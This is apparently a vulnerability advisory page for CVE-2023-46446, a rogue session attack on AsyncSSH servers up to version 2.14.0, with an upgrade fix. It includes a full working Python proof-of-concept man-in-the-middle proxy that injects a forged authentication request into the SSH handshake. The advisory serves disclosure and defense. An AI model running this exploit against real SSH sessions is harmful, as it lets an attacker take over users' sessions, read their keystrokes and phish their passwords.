CVE-2023-46446: High severity Asyncssh Project Asyncssh vulnerability
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
<details> <summary>AsyncSSH 2.14.0 client (simpleclient.py example) connecting to AsyncSSH 2.14.0 server (simpleserver.py example)</summary>
python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify from time import sleep ################################################################################## ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ## ## ## ## Variant: Unmodified variant (EXTINFO by client required) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simpleclient.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simpleserver.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ################################################################################## # IP and port for the TCP proxy to bind to PROXYIP = '127.0.0.1' PROXYPORT = 2222 # IP and port of the server SERVERIP = '127.0.0.1' SERVERPORT = 22 # Length of the individual messages NEWKEYSLENGTH = 16 CLIENTEXTINFOLENGTH = 60 # Additional data sent by the client after NEWKEYS (excluding EXTINFO) ADDITIONALCLIENTDATALENGTH = 60 newkeyspayload = b'\x00\x00\x00\x0c\x0a\x15' def containsnewkeys(data): return newkeyspayload in data rogueuserauthrequest = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000') def insertrogueauthenticationrequest(data): newkeysindex = data.index(newkeyspayload) # Insert rogue authentication request and remove SSHMSGEXTINFO return data[:newkeysindex] + rogueuserauthrequest + data[newkeysindex:newkeysindex + NEWKEYSLENGTH] + data[newkeysindex + NEWKEYSLENGTH + CLIENTEXTINFOLENGTH:] def forwardclienttoserver(clientsocket, serversocket): delaynext = False try: while True: clientdata = clientsocket.recv(4096) if delaynext: delaynext = False sleep(0.25) if containsnewkeys(clientdata): print("[+] SSHMSGNEWKEYS sent by client identified!") if len(clientdata) < NEWKEYSLENGTH + CLIENTEXTINFOLENGTH + ADDITIONALCLIENTDATALENGTH: print("[+] clientdata does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!") while len(clientdata) < NEWKEYSLENGTH + CLIENTEXTINFOLENGTH + ADDITIONALCLIENTDATALENGTH: clientdata += clientsocket.recv(4096) print(f"[d] Original clientdata before modification: {clientdata.hex()}") clientdata = insertrogueauthenticationrequest(clientdata) print(f"[d] Modified clientdata with rogue authentication request: {clientdata.hex()}") delaynext = True if len(clientdata) == 0: break serversocket.send(clientdata) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forwardclienttoserver thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() def forwardservertoclient(clientsocket, serversocket): try: while True: serverdata = serversocket.recv(4096) if len(serverdata) == 0: break clientsocket.send(serverdata) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forwardservertoclient thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() if name == 'main': print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---") mitmsocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) mitmsocket.bind((PROXYIP, PROXYPORT)) mitmsocket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXYIP, PROXYPORT)} for incoming connections...") try: while True: clientsocket, clientaddr = mitmsocket.accept() print(f"[+] Accepted connection from: {clientaddr}") print(f"[+] Establishing new server connection to {(SERVERIP, SERVERPORT)}.") serversocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) serversocket.connect((SERVERIP, SERVERPORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forwardclienttoserver, args=(clientsocket, serversocket)).start() Thread(target=forwardservertoclient, args=(clientsocket, serversocket)).start() except KeyboardInterrupt: clientsocket.close() serversocket.close() mitmsocket.close() </details>
Impact
The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.
Other sources
An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."
Affected Software
Event History
Frequently Asked Questions
What is the vulnerability ID of this issue in AsyncSSH?
The vulnerability ID of this issue in AsyncSSH is CVE-2023-46446.
What is the severity level of CVE-2023-46446?
The severity level of CVE-2023-46446 is high with a score of 8.1.
How can attackers exploit CVE-2023-46446?
Attackers can exploit CVE-2023-46446 by controlling the remote end of an SSH client session through packet injection/removal and shell emulation.
Which version of AsyncSSH is affected by CVE-2023-46446?
AsyncSSH versions up to and including v2.14.0 are affected by CVE-2023-46446.
How can I fix CVE-2023-46446?
To fix CVE-2023-46446, upgrade to AsyncSSH v2.14.1 or later.